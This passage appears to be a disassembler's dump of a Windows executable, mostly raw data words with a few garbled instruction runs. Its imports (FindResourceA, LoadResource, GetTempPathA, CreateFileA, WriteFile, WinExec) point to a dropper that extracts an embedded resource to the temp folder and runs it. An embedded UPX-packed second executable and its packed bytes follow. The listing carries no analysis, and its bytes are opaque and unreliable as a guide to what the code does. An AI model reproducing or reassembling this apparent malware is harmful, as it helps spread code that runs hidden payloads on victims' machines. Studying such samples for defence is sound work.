; ---------------------------------------------------------------------------
		dd 27h dup(0)
		dd offset word_408D02
		dd 0C08B1332h, 3 dup(408D00h), 2 dup(0)
		dd offset sub_401E64
		dd offset sub_401FF4
		dd offset loc_402374
		dd 0C8CCCB00h, 0C8CFD7C9h, 0D8DBCECDh, 0DCCAD9DAh, 0E0DFDEDDh
		dd 0E400E3E1h, 408DE5h,	6F727245h, 0C08B0072h, 746E7552h
		dd 20656D69h, 6F727265h, 20202072h, 74612020h, 30303020h
		dd 30303030h, 0C08B0030h, 33323130h, 37363534h,	42413938h
		dd 46454443h, 0FFFFFFFFh, 61h dup(0)
		dd 6138h, 6078h, 3 dup(0)
		dd 62C0h, 60D0h, 3 dup(0)
		dd 62ECh, 60DCh, 3 dup(0)
		dd 632Ch, 60ECh, 3 dup(0)
		dd 6378h, 6100h, 5 dup(0)
		dd 6146h, 615Eh, 6176h,	618Eh, 61AAh, 61B8h, 61C8h, 61D4h
		dd 61E2h, 61F0h, 6206h,	6218h, 622Ah, 623Ch, 624Eh, 625Ch
		dd 626Ah, 6276h, 6292h,	629Eh, 62B0h, 0
		dd 62CCh, 62DEh, 0
		dd 62FAh, 630Eh, 631Eh,	0
		dd 633Ah, 6348h, 6356h,	6364h, 0
		dd 6386h, 6392h, 639Eh,	63AAh, 63B4h, 63C6h, 63D6h, 63E6h
		dd 63F6h, 6406h, 6414h,	642Ah, 6438h, 0
aKernel32_dll_1	db 'kernel32.dll',0
		align 4
aDeletecritical	db 'DeleteCriticalSection',0
		align 10h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aEntercriticals	db 'EnterCriticalSection',0
		align 10h
aInitializecrit	db 'InitializeCriticalSection',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h
		dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetversion	db 'GetVersion',0
		align 10h
		dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h
		dd 0
aGetthreadlocal	db 'GetThreadLocale',0
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 4C746547h
		dd 6C61636Fh, 666E4965h, 416Fh,	65470000h, 6D6F4374h, 646E616Dh
		dd 656E694Ch, 41h, 65657246h, 7262694Ch, 797261h, 78450000h
		dd 72507469h, 7365636Fh, 73h, 74697257h, 6C694665h, 65h
		dd 61686E55h, 656C646Eh, 63784564h, 69747065h, 69466E6Fh
		dd 7265746Ch, 0
aRtlunwind	db 'RtlUnwind',0
		align 10h
aRaiseexception	db 'RaiseException',0
		align 10h
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 72657375h, 642E3233h
		dd 6C6Ch, 65470000h, 79654B74h,	72616F62h, 70795464h, 65h
		dd 7373654Dh, 42656761h, 41786Fh, 61766461h, 32336970h
		dd 6C6C642Eh, 0
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 10h
aRegopenkeyexa	db 'RegOpenKeyExA',0
		align 10h
aRegclosekey	db 'RegCloseKey',0
aKernel32_dll_2	db 'kernel32.dll',0
		align 4
aTlssetvalue	db 'TlsSetValue',0
		dd 6C540000h, 74654773h, 756C6156h, 65h, 61636F4Ch, 6C6C416Ch
		dd 636Fh, 65470000h, 646F4D74h,	48656C75h, 6C646E61h, 4165h
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aLstrcpya	db 'lstrcpyA',0
		align 4
aLstrcata	db 'lstrcatA',0
		align 10h
aWritefile	db 'WriteFile',0
		align 4
aWinexec	db 'WinExec',0
		dd 69530000h, 666F657Ah, 6F736552h, 65637275h, 0
aLockresource	db 'LockResource',0
		align 4
aLoadresource	db 'LoadResource',0
		align 4
aGettemppatha	db 'GetTempPathA',0
		align 4
aFindresourcea	db 'FindResourceA',0
		align 4
aExitprocess	db 'ExitProcess',0
		dd 6E450000h, 65526D75h, 72756F73h, 614E6563h, 4173656Dh
		dd 0
aCreatefilea	db 'CreateFileA',0
		dd 6C430000h, 4865736Fh, 6C646E61h, 65h, 6Eh dup(0)
		dd offset dword_407000
		dd offset dword_407008
		dd offset dword_404084
		dd offset dword_408010
		dd 7Ch dup(0)
		dd 1000h, 11Ch,	300A3002h, 301A3012h, 302A3022h, 303A3032h
		dd 304A3042h, 305A3052h, 306A3062h, 307A3072h, 30AE3082h
		dd 30BE30B6h, 30CE30C6h, 30DE30D6h, 30EF30E6h, 31183110h
		dd 31873180h, 334632CFh, 33DB3395h, 346433EEh, 34E934A8h
		dd 3529351Dh, 35D73544h, 37623726h, 378A377Fh, 379D3795h
		dd 37B137A7h, 37D137BBh, 37E537D7h, 380237F8h, 38163808h
		dd 3824381Ch, 38423836h, 385D3851h, 38703865h, 38833876h
		dd 38A33889h, 38B438AAh, 38C838BEh, 38DF38D4h, 38F638F0h
		dd 390838FEh, 392A391Fh, 3963394Bh, 399A3982h, 39E239A2h
		dd 3A4739F8h, 3A853A67h, 3BBC3BAFh, 3BF53BEFh, 3C173C0Eh
		dd 3C2B3C20h, 3C3B3C34h, 3C513C4Ah, 3CCC3C73h, 3D593CD4h
		dd 3D7C3D77h, 3DEE3D82h, 3E043DF4h, 3E523E0Dh, 3E713E5Bh
		dd 3EA33E97h, 3EDE3EABh, 3F223F08h, 3F553F4Ch, 3F6D3F65h
		dd 3F7C3F73h, 3F883F83h, 3FA13F8Eh, 3FC83FAAh, 3FD63FCEh
		dd 2000h, 114h,	30063000h, 30303018h, 3044303Ch, 306A305Bh
		dd 309A307Ah, 30D630B2h, 30E430DEh, 311C30EAh, 315E3140h
		dd 3174316Eh, 31E1317Ch, 31F531ECh, 320B31FBh, 32653214h
		dd 327C326Ch, 328C3286h, 329A3294h, 32A732A0h, 335832B1h
		dd 339F3381h, 33B333ABh, 3413340Dh, 343F341Bh, 347A345Fh
		dd 349C348Fh, 356D34BCh, 3699365Ah, 36BF36A9h, 36F336DDh
		dd 371F370Ah, 376E3759h, 378A3782h, 37B837A0h, 37FA37C6h
		dd 38223816h, 38403836h, 38833853h, 38B938B0h, 38F438EBh
		dd 39303929h, 399F3952h, 3B0F39C7h, 3B3E3B37h, 3B783B56h
		dd 3BB43BACh, 3BEB3BBFh, 3C4B3C00h, 3C723C5Eh, 3CAA3CA6h
		dd 3CB43CB0h, 3CC03CB9h, 3CCE3CC6h, 3CE83CD9h, 3D1C3CF0h
		dd 3D443D27h, 3D733D4Eh, 3D873D7Dh, 3D953D8Fh, 3DBE3DA3h
		dd 3DDD3DD3h, 3E013DE2h, 3E0B3E06h, 3E413E2Dh, 3EAF3EA6h
		dd 3EE23ED5h, 3FAA3F99h, 3FF13FEAh, 3000h, 0B8h, 30213003h
		dd 3036302Ah, 3078303Dh, 30E330C1h, 30F630EFh, 310A3100h
		dd 31323121h, 3146313Fh, 3150314Ah, 315A3154h, 31653161h
		dd 3188317Fh, 319D3191h, 31CE31A7h, 31F431E3h, 320631FEh
		dd 3216320Eh, 3246321Eh, 327E3270h, 329C3283h, 32BD32ACh
		dd 32DA32CEh, 32E432DFh, 32F232EBh, 331332FCh, 332C331Fh
		dd 334B333Eh, 33643357h, 337E3376h, 338E3386h, 339E3396h
		dd 33AE33A6h, 33BE33B6h, 33CE33C6h, 33DE33D6h, 33F733EBh
		dd 34163404h, 350234EFh, 35183514h, 3520351Ch, 35283524h
		dd 3530352Ch, 353C3534h, 35533547h, 4000h, 10h,	30283024h
		dd 302Ch, 8000h, 14h, 30043000h, 300C3008h, 40h	dup(0)
		dd 4, 10000h, 0Ah, 80000018h, 2	dup(0)
		dd 4, 2, 80000088h, 80000038h, 80000094h, 80000050h, 2 dup(0)
		dd 4, 10000h, 0
		dd 68h,	2 dup(0)
		dd 4, 10000h, 0
		dd 78h,	0A0A0h,	0D400h,	4E4h, 0
		dd 174A0h, 0A800h, 4E4h, 0
		dd 300005h, 45002Eh, 450058h, 310005h, 45002Eh,	450058h
		dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0
		dd 40h,	8 dup(0)
		dd 0D8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 5BB36322h, 3	dup(8DD0266h), 8A0C441h, 8DD0262h, 8B0C441h
		dd 8DD026Ch, 8DC0266h, 8DD024Fh, 8800DA5h, 8DD026Fh, 8ACC441h
		dd 8DD0265h, 8A1C441h, 8DD0267h, 8A5C441h, 8DD0267h, 68636952h
		dd 8DD0266h, 2 dup(0)
		dd 4550h, 3014Ch, 46D6FF0Dh, 2 dup(0)
		dd 10300E0h, 8010Bh, 0D000h, 1000h, 5000h, 123B0h, 6000h
		dd 13000h, 400000h, 1000h, 200h, 4, 0
		dd 4, 0
		dd 14000h, 1000h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 138B4h, 0E4h, 13000h, 8B4h, 0Eh dup(0)
		dd 13998h, 48h,	0Ah dup(0)
aUpx0		db 'UPX0',0
		align 4
		dd 5000h, 1000h, 0
		dd 400h, 3 dup(0)
		dd 0E0000080h, 31585055h, 0
		dd 0D000h, 6000h, 0C600h, 400h,	3 dup(0)
		dd 0E0000040h, 7273722Eh, 63h, 1000h, 13000h, 0A00h, 0CA00h
		dd 3 dup(0)
		dd 0C0000040h, 64h dup(0)
		dd 32000000h, 32302Eh, 21585055h, 902090Dh
; ---------------------------------------------------------------------------


loc_3D7C88:				; CODE XREF: .data:003D7CC0j
		rol	word ptr [edx+61h], cl
		mov	al, 0BCh
		db	2Eh
		nop
		sub	[ebx], eax
		add	[eax], eax
		scasb
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 11000h, 1A000026h
; ---------------------------------------------------------------------------


loc_3D7CA0:				; CODE XREF: .data:003D7CBEj
		outsd
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, dword_40E000
		xor	eax, ebp
		mov	[ebp-4], eax
		push	esi
		push	edi
		push	6
		pop	ecx
		mov	esi, 8D0E2068h
		jge	short loc_3D7CA0
		jg	short loc_3D7C88
		mov	esi, 66A5F3FBh
		movsd
		movsb
; ---------------------------------------------------------------------------
		db 0Fh,	0FFh, 75h
		dd 1284BE08h, 0E0458DC4h, 0FFFFFFA4h, 0E8DBh, 59C085A8h
		dd 14745E5Fh, 2BE04D8Dh, 0DC083C1h, 591A6A99h, 448AF9F7h
		dd 6D86F915h, 27EBE0EEh, 25C42632h, 0EEFFC423h,	0EBC40BFFh
		dd 8458A03h, 33FC4D8Bh,	560325CDh, 8B56C3C9h, 0FB7D0FF0h
		dd 6B6FFEDh, 0EBF98B57h, 64E8500Dh, 78800FFh, 7D8A4647h
		dd 0EF75C084h, 0ADFFFF6Dh, 0EBC3680Ah, 244C3A07h, 40077404h
		dd 0C984088Ah, 2A05F375h, 0DFF63FB7h, 1BD9F60Eh, 23D1F7C9h
		dd 54C9C3C1h, 33446A56h, 56AC79F6h, 0BBEDDDB7h,	7C045550h
		dd 0C0CC483h, 501050F0h, 16A0056h, 6BBCD6E6h, 45C79803h
		dd 75644ACh, 0DBFB81D8h, 8966FEEFh, 15FFDC75h, 0D8F7DF2Ch
		dd 5E40C01Bh, 0AC8D5589h, 80FE6824h, 7DA10FB7h,	218EC81h
		dd 94851C1Fh, 858B0C01h, 0B8285FC3h, 2A2505A0h,	0B8FF3380h
		dd 9814D710h, 4D7DFDFBh, 887D898Ch, 48B887E9h, 0B908D0Fh
		dd 6EEB660Fh, 8C847AB6h, 80456850h, 0E1FD0C62h,	3BE36FDDh
		dd 0B3850FF7h, 1D8B531Dh, 88455308h, 0ECE65750h, 8D00BBEDh
		dd 9D503585h, 23D3FF84h, 0E6F6CF85h, 41C81B6h, 6A88156Eh
		dd 0F83C3F40h, 0F63B585Fh, 6D74FF85h, 1006A34h,	75F68536h
		dd 0B66B7FDDh, 5720554Bh, 387C800Eh, 358B2CFFh,	0D740D38h
		dd 8F7DB73h, 14D75468h,	58028D6h, 5B606D0Dh, 474025D7h
		dd 4A88CC01h, 0B66633A9h, 8570491h, 23001140h, 5B70FC2Ch
		dd 5F028D8Bh, 5EB3C68Bh, 16E181B4h, 98C5DD0Eh, 2B7BC910h
		dd 0A61B0A0Ch, 6848977Bh, 13441B8h, 0D9BF850Fh,	56CE84BEh
		dd 326A240Eh, 0F7D23359h, 45928F1h, 63F886F7h, 895048Bh
		dd 1BAD2F33h, 68ECDAFBh, 1F909D58h, 0D415A750h,	0C2FFBBB5h
		dd 74C63BD8h, 6856533Fh, 26A2C80h, 77B60856h, 4007D74Dh
		dd 4A831C1Ch, 562074D8h, 0CB6EF435h, 0B41A76EDh, 23104900h
		dd 20281F53h, 0C6F8C719h, 5EC31806h, 74C03372h,	0B39096C8h
		dd 58B308B9h, 0E16F76DEh, 0BD952F74h, 42022A82h, 1E755F0Fh
		dd 0C1765E4Bh, 11011092h, 0FE0D7559h, 0E301FBh,	0C2CC59C6h
		dd 0D3B0010h, 0F3027551h, 0BCBDE9C3h, 6512EB1Ch, 0A3032868h
		dd 0D89E1E8h, 0F3E7CDE4h, 0E01505F9h, 0D835DC1Dh, 2366D43Dh
		dd 8C85BF9Fh, 0D06E26Fh, 0D01DE1F4h, 0C8E6F305h, 0C825CC91h
		dd 8F9CC42Dh, 0EEF9F805h, 458B6DB1h, 407EC56h, 8D0FF0A3h
		dd 0FCA30845h, 0F6FBAEBDh, 0FFCEE085h, 0B3805C7h, 1CA10101h
		dd 0AE6DDEDCh, 0E0139729h, 40905h, 0E0E41DC0h, 0E1046DDBh
		dd 32D8E602h, 0B80A04A1h, 0DC1982EEh, 3420140Eh, 6B613930h
		dd 54296A7Ch, 142C5969h, 3DEDA944h, 460EE0Bh, 203D487Eh
		dd 0EF6CD6EEh, 682308B0h, 504C1B5Bh, 17DDB206h,	836C50CCh
		dd 24E41025h, 0AD00CCC3h, 8BFE9BC2h, 8B0C2454h,	74D285C6h
		dd 0BF179469h, 24D377EDh, 8116EE08h, 0E7290FAh,	74300C55h
		dd 0AEFFFD05h, 4D05420Dh, 4FA831Ah, 0D9F73172h,	7403E183h
		dd 0CDD12B0Ch, 156FFFF7h, 8301C783h, 0F67501E9h, 0E0C1C88Bh
		dd 6C10308h, 0ACE7CA10h, 0E283DBFBh, 7402E905h,	58ABF306h
		dd 97EA270Ah, 6076EACEh, 405C35Fh, 0FCBA042Fh, 0B7F5BC8Bh
		dd 0C867DAEh, 0F66072Eh, 0B6EBC0EFh, 3C0024A4h,	90D6DDDFh
		dd 7F117F0Dh, 20041047h, 0CF3F1F30h, 605040F3h,	8DBF8D70h
		dd 0D9CE1649h, 8BD075EEh, 565DE549h, 0ED998310h, 0AD97FBD2h
		dd 0FA2BFA33h, 60FE783h, 683C75B8h, 0EDFFEB19h,	9CD18B10h
		dd 0F455897Fh, 1274CA3Bh, 0A751CA2Bh, 66BBFF6h,	150D835Ah
		dd 450345AEh, 0EEC22B10h, 881ADB6Dh, 0F853C03Bh, 0AAF3F431h
		dd 0BAF9671Bh, 0F72EEBF6h, 0F058C5DFh, 0B7F00816h, 0F0B5CDF0h
		dd 0C8F23507h, 9552D02Bh, 98594B51h, 4D05659Dh,	8728E0Ch
		dd 0DDDEDFA6h, 0A3400618h, 6AC33D0Ah, 62C0680Ch, 7FDB8173h
		dd 6583B013h, 28C700FCh, 1E40BC1h, 6DEDDA97h, 0EC3A23EBh
		dd 3D01008Bh, 0A010C05h, 0E6C2ED3Dh, 3061DBEh, 37400234h
		dd 2B2FE865h, 0E48D4A39h, 6EF4233Bh, 676D3332h,	0F2F5425Fh
		dd 3C532018h, 0E16D8502h, 53B9F46Eh, 358A589Ch,	0F6FB201Ch
		dd 9DE17DBBh, 74A85A9Ch, 1F9D511Fh, 5D1DA20Fh, 0D776FCE8h
		dd 89ECEDBDh, 126FB8BEh, 5BF83355h, 7D353AF7h, 0DC0EB80Bh
		dd 7CF0C20Eh, 6359C905h, 2EB70DBh, 0BC365B04h, 4B28360Ch
		dd 17D6338Eh, 5B663520h, 0CAA61C30h, 8D036C13h,	0D6C636A5h
		dd 571BE02Bh, 0CA4D31C4h, 0DA142B58h, 72AE8950h, 86B00B40h
		dd 672E076Fh, 37A3640Ch, 341B40C3h, 8564A578h, 5B5BC30Ah
		dd 0D7B605Ah, 0C85B512Bh, 375C9814h, 0A5D837DEh, 8738D55h
		dd 764C3533h, 0ADBF8306h, 0C6E54B6Dh, 4F91368h,	7B8DB618h
		dd 0FFE91685h, 8B0D7410h, 0CF03044Eh, 0F1380C33h, 0F0B8740Ch
		dd 846D96Eh, 0F628970Fh, 855A0440h, 0E3B1BD1Fh,	0C6B353Fh
		dd 0E7FEFD83h, 1CEF8D30h, 0B7FC4489h, 0B03CDFFh, 0FC538920h
		dd 448D5E74h, 864C1E6Dh, 8DC98514h, 0D95865Ch, 31C6DDFh
		dd 1674141Ch, 907D78Bh,	75DE0596h, 7C0176FFh, 504C7F44h
		dd 0E88B8614h, 76D9CD75h, 8A76C595h, 86962474h,	0BF77DD18h
		dd 5B5DE377h, 0BCC31413h, 88C6EBEFh, 0F1398128h, 63FD2C8Eh
		dd 75E06D73h, 2104622Ah, 0D4D40768h, 0A3434D0h,	9A108004h
		dd 0AF1EDB28h, 0BC52CDB4h, 2C35A018h, 0FE138595h, 2C54C6EEh
		dd 740C6839h, 0D51E6813h, 0EEF611EBh, 24E0177Ch, 0C488914h
		dd 0C9ED9B9Bh, 4B3A56C8h, 0ADE9E608h, 0D8660E83h, 0FE0C7BE0h
		dd 51A25021h, 0B0A1BACBh, 54AF1D8Bh, 97B70720h,	74DFF1D9h
		dd 62108F9Dh, 52551814h, 68515150h, 0E1A11938h,	0BE079204h
		dd 0D6083DC4h, 6307B1F0h, 8B301925h, 1933B558h,	5ADF708Bh
		dd 0FE80B6DDh, 34433B90h, 3B040843h, 0DCD576F2h, 8D2EF0B2h
		dd 0B3737634h, 0BB82B00Bh, 0AEB1B0FBh, 0AC015975h, 0C790843h
		dd 780BB94Dh, 0C987E05h, 64B0EB6Ch, 0FF70566Ah,	500850DAh
		dd 0F7B3C35Bh, 11060441h, 0C75F8DB1h, 5A3374C8h, 0C833488Bh
		dd 0DAD969DCh, 1868134Bh, 100274FFh, 0FF1E9614h, 0A408B35Eh
		dd 89C6235Dh, 8403B802h, 0DBBDB2D9h, 29104C25h,	21C71FFh
		dd 37282818h, 0C236DA36h, 89F1558Dh, 0DB33F1EAh, 12836176h
		dd 0E33F92Ch, 98785BD1h, 5DCBF03Bh, 8BF18BEAh, 1DA265C1h
		dd 0F3530617h, 0E6D233C9h, 0E9142485h, 68E1AFBAh, 205117DFh
		dd 655DAA70h, 68565E6Ch, 37515271h, 8603Bh, 4DD1BA4h, 0B66C77Fh
		dd 0D6E45A4Dh, 8B7817C0h, 81373C41h, 0C9455038h, 408658F0h
		dd 7818B7FBh, 0F010B18h, 0B370C194h, 0E95BF6B7h, 0C82504E5h
		dd 1441B70Fh, 671056Fh,	68B637F0h, 0C657777Eh, 1E761808h
		dd 37C27C8Bh, 4C9EC17Ch, 972F93Bh, 3BD9037Ah, 3D5972FBh
		dd 0C2C0BFB4h, 3B28C07Ah, 60E672D6h, 0D724CC39h, 0B50084BBh
		dd 0E068FE6Ah, 0D2D2D58Eh, 84C7C28Bh, 32CA0885h, 0F85CC925h
		dd 8639D3B7h, 9CD6789h,	0FC09AFFCh, 3AEBEC3Ch, 132DF455h
		dd 2C0A1950h, 0B305FFD6h, 2440F508h, 0F71FE8C1h, 1E083D0h
		dd 4B49D7BBh, 0C3FCFD1Ah, 0B562DEF7h, 0CC018A85h, 8BC2F3F9h
		dd 82D656C2h, 0BA2FEFBDh, 423A1C31h, 55A5BBF7h,	281B5472h
		dd 63B3195Ch, 205D702Bh, 637B3223h, 0FC14D2C9h,	5228507Ch
		dd 66194B03h, 0AE522477h, 61229D0Bh, 97E1B191h,	265055E3h
		dd 1DEF1B5Ch, 18850C13h, 28EF198Fh, 38F0B85Bh, 833AEAE9h
		dd 74062C8Ah
		dd 67971DDh, 2D76743Bh,	0B30C8BE9h, 4F190C73h, 7CEA7E3Ah
		dd 4417EBB3h, 7BC6ECB3h, 0E808B31Fh, 0ECEAB6B7h, 5B763DF6h
		dd 0F8B64FDh, 83047981h, 7BBBB675h, 0CB51D2FFh,	51390C52h
		dd 0DA057508h, 0D0BB51A6h, 0DE97191h, 80BEBB6h,	89E06B8Bh
		dd 0D837E343h, 55FB612Ah, 5D5958E5h, 0CAD55B59h, 0FFB0BC5Ch
		dd 25FF37D0h, 0AF000E30h, 65A02D5Eh, 0FE25E07Dh, 434241FFh
		dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 545352BDh, 0E5B6FFFFh
		dd 235A16E1h, 64636261h, 68676665h, 6C6B6A69h, 0EF6F6E6Dh
		dd 70FFEEFFh, 74737271h, 78777675h, 631B7A79h, 72676267h
		dd 722E6770h, 7F4F726Bh, 6EEC7FD8h, 630A7479h, 65726972h
		dd 176C7376h, 72786E7Ah, 0D9E4FF75h, 710D7AB3h,	707A076Ah
		dd 61716168h, 0FECF7A6Eh, 0C72B1D9h, 6524717Ah,	7679616Eh
		dd 7A691F6Fh, 0FFB1F61Bh, 72656E6Ah, 6E73682Dh,	61691071h
		dd 0B1C6772h, 0DB6B05BFh, 68036E9Ah, 7076699Bh,	0DDB37272h
		dd 687AEDD9h, 65621379h, 61136614h, 0DB59A266h,	7070FB06h
		dd 2B63636Eh, 5771156Ah, 0EC3EDB39h, 703207BBh,	0AF737362h
		dd 0E776F62h, 0E47DBE63h, 34743B59h, 712B2B07h,	0DE6A7979h
		dd 9FACEC1Eh, 75137045h, 67EF636Ch, 0C1B67A65h,	726843FEh
		dd 33677671h, 6A745B32h, 0BECDA16Dh, 6FC919CDh,	0B74767Ah
		dd 0C93051F4h, 225836h,	6E6E617Bh, 4EAE6DB6h, 67624C0Eh
		dd 0B64FC272h, 180B61F6h, 71781F75h, 791E926Fh,	0C3F6B061h
		dd 3833760Fh, 71471336h, 42B58D17h, 71746F3Bh, 42370BDFh
		dd 7B9860A1h, 94AC699Bh, 5C28584Eh, 63D41879h, 85B96138h
		dd 66C65093h, 0D61AD6Ch, 0B092D6D8h, 3AD76280h,	9E0D764Ch
		dd 763FB26Ch, 366A6E71h, 87740B34h, 0BA34366Eh,	63439424h
		dd 67664F3Fh, 8C1AC377h, 700F2772h, 750D7875h, 0B59BC670h
		dd 0B328175h, 5BF07318h, 66BBB61Bh, 6F9844ECh, 78706279h
		dd 82858947h, 999008E0h, 964190EBh, 0FFFF044Dh,	0FFCB40B8h
		dd 4F001BBh, 0EBA1F0Eh,	0CD09B400h, 4C01B821h, 0DADF0A54h
		dd 2073D31Bh, 61EC6070h, 8F63206Dh, 176C6F6Fh, 0A820749Ch
		dd 206EA920h, 4F440269h, 7C07BB53h, 6F6D20E3h, 0D0D2EFAh
		dd 5503730Ah, 87F77C75h, 1129AAFCh, 867AC414h, 107ABAD0h
		dd 0B9D23607h, 0D8F7037Ah, 7AAA8F23h, 4E7AA90Eh, 807AC523h
		dd 8F636017h, 991BD27Ch, 7AB5187Ah, 37B8071Dh, 0D8FBD91Ah
		dd 695207BCh, 0B34F6863h, 1F6A9749h, 0F1014CEAh, 0B346D613h
		dd 217CB74Fh, 10B0101h,	1011B008h, 0B9D84D01h, 1B0270Bh
		dd 1C0030Bh, 0EF64B70Dh, 270217F0h, 0D01B0700h,	0CD9D8101h
		dd 10401E26h, 58E50007h, 0B42F06B2h, 0D6457BC8h, 0B45752EEh
		dd 0C9CC6708h, 2050BB3Fh, 4F2F486Ch, 72093058h,	0AF37B236h
		dd 0F68027C4h, 0E0CD221Dh, 0A4FF0B31h, 30DEC327h, 733D4057h
		dd 83DC6372h, 0C0BA6929h, 0C0A80C27h, 0A040B88Ah, 3230090Ah
		dd 7FFFC56Eh, 90D21F7h,	2A690902h, 0B18E2F1Eh, 0C089BA31h
		dd 52EAA06Fh, 7EF219Bh,	7736F926h, 0FD5DD5BDh, 3128481Ch
		dd 0FA748D56h, 6DE85657h, 14BF52FFh, 8B56EE2Dh,	0A57E3F8h
		dd 0F783BC2Eh, 0FFC41FDBh, 0FE1B41BFh, 4E8B8EC7h, 74C98530h
		dd 2C46FF13h, 0FFC1028Bh, 0E0C1B817h, 0DF1ED202h, 362F7FB4h
		dd 6A0EEB59h, 0FFC73304h, 168E537Fh, 0FD08C804h, 89EEBBEDh
		dd 59243046h, 81548932h, 0B52FFDFCh, 904DC3D4h,	0DF7CD10Ch
		dd 4BFFF6Ch, 0FF1C478Bh, 9E5DF52Fh, 0C4E8D06h, 200C1751h
		dd 244F8B0Ah, 0E6DFDB8Dh, 0FFFD02D8h, 10314CFFh, 50090446h
		dd 595C0078h, 777E063Fh, 9A0E612Ch, 3D8B5911h, 0C4BFFB7Fh
		dd 8F234D38h, 466ADDDCh, 501E2034h, 8330760Fh, 0FF976EE9h
		dd 0EDE97FEDh, 30B03466h, 2C060CC4h, 0F9342B00h, 77849DC0h
		dd 8D20EB34h, 0AB7FFF46h, 0FF500CFFh, 1857FF8Dh, 0D06F883h
		dd 0ADFFB7EEh, 75010814h, 0EB368B07h, 4BB7AB03h, 7F768BFDh
		dd 0D4DC75F6h, 0B7CBDDEDh, 0FFC603C6h, 51AADFFFh, 8BDB3365h
		dd 345E39F0h, 0FC5D8957h, 0E0F1840Fh, 0C2F86EFFh, 0FFFFFFF7h
		dd 0FE8BCF56h, 3B24E171h, 0F7459FBh, 0B6C33B20h, 0C7E9A76Dh
		dd 2889394Eh, 0ADFFFF13h, 0D82724FEh, 0CFB5DBAh, 2A6E387Ch
		dd 0E98CAC29h, 0B9BB0207h, 7E045DBFh, 0FFFFFF34h, 2D7433FFh
		dd 478DDF8Bh, 56FF4988h, 0A7B7DD87h, 0B160F19h,	0EB3F8B19h
		dd 0C37F0505h, 8B6B7B76h, 0FF00BF1Fh, 2EBD9FFh,	78DB850Ah
		dd 0B66D59B4h, 0E8C6FED6h, 18755B52h, 6A89A310h, 5FFFFFABh
		dd 0BB9CCD80h, 4924763Fh, 0BD796648h, 8B3DB776h, 0FFFF7C37h
		dd 1B7ADFFFh, 7612C083h, 9B9BFFBAh, 8919F273h, 8915EB03h
		dd 8B14EB3Bh, 170B2003h, 0BF407846h, 89FFFF11h,	2176047Bh
		dd 0AEE83CDFh, 0DCDADFB9h, 7BE175FDh, 7F6F3074h, 0D5BFFF6Eh
		dd 8C2B5FFh, 2A71267Bh,	0F285C2E4h, 8B1C773Bh, 0C95BAF34h
		dd 0F6FE3B4Fh, 0FFFFEAEEh, 0DE2C41FFh, 48197656h, 30498BE7h
		dd 1381148Dh, 23C28308h, 4EAFE5Ch, 74323B48h, 0DFFFF0BFh
		dd 4475F0C5h, 0DF770481h, 833FDB0Ch, 65835CECh,	0BFBC50B8h
		dd 0FF45C75Bh, 0A8FFFFFFh, 0F97E5F01h, 674523EDh, 0AB89AC06h
		dd 0FEB0EFCDh, 0B498BADCh, 0B7325476h, 108599FBh, 0FF8040DEh
		dd 4DFFFFFFh, 0F11075A8h, 0B7CB879Dh, 110A75DFh, 59087D8Fh
		dd 106A5E59h, 0B1E1BBF3h, 3116037Bh, 9741951h, 0CFF04FEh
		dd 0F193C933h, 42BE17F6h, 0FFC883FBh, 0FFFFFF76h, 424807Fh
		dd 4BC743FFh, 0C259469Fh, 0E1BF0104h, 1CC76612h, 78C468D0h
		dd 386A5643h, 0E3230DE6h, 0C6FFC0BFh, 0F4B1D30Dh, 6130562Fh
		dd 0D2F6721Ch, 0FA6D48E6h, 0FF180718h, 137FD77Fh, 0CD847B19h
		dd 5C2406B7h, 5EBB0428h, 3AE2C35Fh, 5F6C7F6Eh, 0FFF8E4DCh
		dd 0A1FFFFFFh, 2F417C5Ch, 0F65E24ECh, 0D1BDCEDBh, 74D8155Ch
		dd 0C85FB64Fh, 35590EADh, 89B785CEh, 0FF3F74B6h, 50FFFFFFh
		dd 1242450h, 0B4BEDC67h, 183B8D72h, 159A5A5h, 8DFAA553h
		dd 6BFDDDBFh, 50142022h, 7F22C38Bh, 1FFFFC0h, 0F7235913h
		dd 0F61B59DEh, 0B46777E3h, 5FEF0553h, 0C351BA71h, 0FE0DFADBh
		dd 6DBC6FFFh, 703D6055h, 346F8DCAh, 5CA45D39h, 80A36A9h
		dd 0FFC18141h, 49B217FFh, 0DB0A9613h, 0C5470275h, 0FB4E0C99h
		dd 2C4BF7D8h, 0FF5C8DCFh, 2FB85FFFh, 0E0425F7Dh, 0ECFE5343h
		dd 9E17B7BEh, 3E741077h, 8B34D832h, 0FFD19B6Ch,	7DFFFFFFh
		dd 503555B6h, 201B5355h, 86B90876h, 0C303B77Dh,	0A00C647h
		dd 4C49588Dh, 37B3BBC2h, 0E188C961h, 3FFFFFFh, 265EA557h
		dd 5B5D5F0Ch, 0D5FB30A5h, 4955A7B6h, 4C57F825h,	0BC2D361Bh
		dd 0FF4E039Ah, 317FF897h, 82063640h, 873F8026h,	748A766Dh
		dd 4BE0F39h, 4887503Eh,	0FFFFF1A2h, 0E2375FFh, 9BB5D949h
		dd 0F1B1F9Fh, 0F64CB8B6h, 0FC0B133Ch, 0FFDE35B2h, 3C804607h
		dd 0FFFFFF3Eh, 1AC7E42Fh, 6E541CE6h, 7702376Ch,	84158A46h
		dd 0D953E87Bh, 191437F6h, 3AEB1013h, 0FFFFFF3Ch, 3D7440FFh
		dd 6153C054h, 14725605h, 6EA7603h, 614AFF7Bh, 432B0488h
